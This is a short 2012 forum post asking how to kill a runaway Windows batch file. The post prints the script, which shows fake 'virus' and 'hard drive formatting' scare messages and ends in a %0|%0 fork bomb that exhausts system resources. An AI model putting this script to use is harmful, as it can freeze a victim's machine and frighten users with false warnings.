Kill a batch process
Posted: 29 Jun 2012 16:08
I have created a (pretty) harmless batch file that forks and uses up processor time and page files.
The code is this:
Unfortunately, I haven't got a way to get rid of it, if I go to task manager and kill cmd.exe and all other related processes, it still continues to work. Is there a way to kill the batch file, ideally with another batch file?
The code is this:
Code: Select all
@echo off
start iexplore.exe
start calc.exe
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * Please wait ...........
msg * Hard drive formatting failed
%0|%0
Unfortunately, I haven't got a way to get rid of it, if I go to task manager and kill cmd.exe and all other related processes, it still continues to work. Is there a way to kill the batch file, ideally with another batch file?